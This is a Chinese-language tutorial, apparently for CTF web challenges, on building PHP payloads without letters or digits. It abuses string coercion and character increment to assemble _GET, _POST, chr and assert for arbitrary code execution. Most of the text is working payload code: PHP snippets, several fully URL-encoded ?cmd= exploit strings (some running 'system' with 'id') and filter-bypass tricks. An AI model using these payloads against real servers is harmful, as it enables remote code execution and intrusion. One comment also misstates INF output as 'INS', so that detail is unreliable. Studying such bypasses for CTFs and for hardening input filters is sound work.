构造原理

PHP 在将数组,非数字,无穷大强制转换为字符串(string)时的默认行为,可用于无字母构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);

$a = [].'';
$b = (0/0).'';
$c = (_/_).'';
$d = (''/'').'';
$e = (""/"").'';
$f = (1/0).'';

var_dump($a); //string(5) "Array"
var_dump($b); //string(3) "NAN"
var_dump($c); //string(3) "NAN"
var_dump($d); //string(3) "NAN"
var_dump($e); //string(3) "NAN"
var_dump($f); //string(3) "INS"
?>

获取切片

既然已经获得了字符串,获取切片就比较简单了

常规的方法是利用_ “” ‘’获取首字符

另外就是类似于[‘!‘==‘@’],在数组索引、算术运算等中,其返回的布尔值 false 被隐式转换成了整数 0

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);

$a = (_/_).'';
$b = ['!'=='@'];
$c = $a['!'=='@'];

var_dump($a); //string(3) "NAN"
var_dump($b); //array(1) {[0] =>bool(false)}
var_dump($c); //string(1) "N"
?>

Payload

利用+自增字符.拼接字符串构造出绕过题目限制的Payload
记得url编码+,url会将+当作空格,这里直接全编码了

1.$_POST_

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
//获取N
$_=(_/_)._;
$_=$_[_];
//自增到O并储存O
$__=++$_;
//自增到P并储存PO
$__=++$_.$__;
//获取_POST
$_++;
$_++;
$_=_.$__.++$_.++$_;
//得到$_POST[_]($_POST[__])
$$_[_]($$_[__]);
?>

post传递_和__即可

1
?cmd=%24_%3D(_%2F_)._%3B%24_%3D%24_%5B_%5D%3B%24__%3D%2B%2B%24_%3B%24__%3D%2B%2B%24_.%24__%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%2B%2B%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B

2.无数字有字母,$_GET_

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
//获取Array
$_=[]._;
//获取$__=r
$__=$_[1];
//自增为C,$_1获取
$_=$_[0];
$_++;
$_1=++$_;
//自增为G
$_++;
$_++;
$_++;
$_++;
//获取$_=CHr,chr为php内置函数,将数字转化为对应的ascii值
$_=$_1.++$_.$__;
//获取$_=_GET
$_=_.$_(71).$_(69).$_(84);
//$_GET[1]($_GET[2])
$$_[1]($$_[2]);
?>

GET传递1和2即可

1
?cmd=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B&1=system&2=id

3.无字母无数字,$_GET_

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
//获取Array
$_=[]._;
//获取$___=E
$__=$_['!'==','];
$__++;
$__++;
$__++;
$___=++$__;
//获取$___=GE
++$__;
$___=++$__.$___;
//获取$___=GET
++$__;
++$__;
++$__;
++$__;
++$__;
++$__;
++$__;
++$__;
++$__;
++$__;
++$__;
++$__;
$___=$___.++$__;
//获取$_GET[_]($_GET[__])
$_='_'.$___;
$$_[_]($$_[__]);
?>

GET传递_和__即可

1
?cmd=%24_%3D%5B%5D._%3B%24__%3D%24_%5B'!'%3D%3D'%2C'%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%2B%2B%24__.%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%24___.%2B%2B%24__%3B%24_%3D'_'.%24___%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B%20&_=system&__=id

4.assert($_POST[_]);

7.0.12以上版本不可使用

PHP 版本 assert("代码") 行为
PHP < 7.0.12 ✅ 执行字符串中的 PHP 代码(等同于 eval()
PHP ≥ 7.0.12 ❌ 抛出 TypeError(只接受布尔表达式)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
<?php
//获取$___=A
$_=[];
$_=@"$_";
$_=$_['!'=='@'];
$___=$_;
//拼接$___=ASS
$__=$_;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$___.=$__;
$___.=$__;
//拼接$___=ASSE
$__=$_;
$__++;
$__++;
$__++;
$__++;
$___.=$__;
//拼接$___=ASSER
$__=$_;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$___.=$__;
//拼接$___=ASSERT
$__=$_;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$___.=$__;
//定义$____=_
$____='_';
//拼接$____=_P
$__=$_;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$____.=$__;
//拼接$____=_PO
$__=$_;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$____.=$__;
//拼接$____=_POS
$__=$_;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$____.=$__;
//拼接$____=_POST
$__=$_;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$__++;
$____.=$__;
//获取$_=$_POST
$_=$$____;
//assert($_POST[_])
$___($_[_]);
?>

POST传递_即可

1
?cmd=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B

5.$_POST%\f\f;

使用不可见字符%ff代替_缩短长度,使用burpsuite发包

1
?cmd=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);

POST传递%ff和_即可

bypass

1.对于方括号的过滤,可以用花括号代替

1
2
3
4
5
6
<?php
error_reporting(0);
$a = (_/_).'';
var_dump($a[0]);//string(1) "N"
var_dump($a{0});//string(1) "N"
?>

2.对于 / 的过滤,泛起获取N字符,灵活从A字符开始构造比较近的GET

3.$_=.+;()这些字符是必须的,其他的像@#%!这些都无所谓换成那几个必须的字符即可

1
2
3
$_=[]._;$__=$_['!'==','];
$_=[]._;$__=$_['='=='_'];

参考文章:https://www.cnblogs.com/m1xian/p/18360023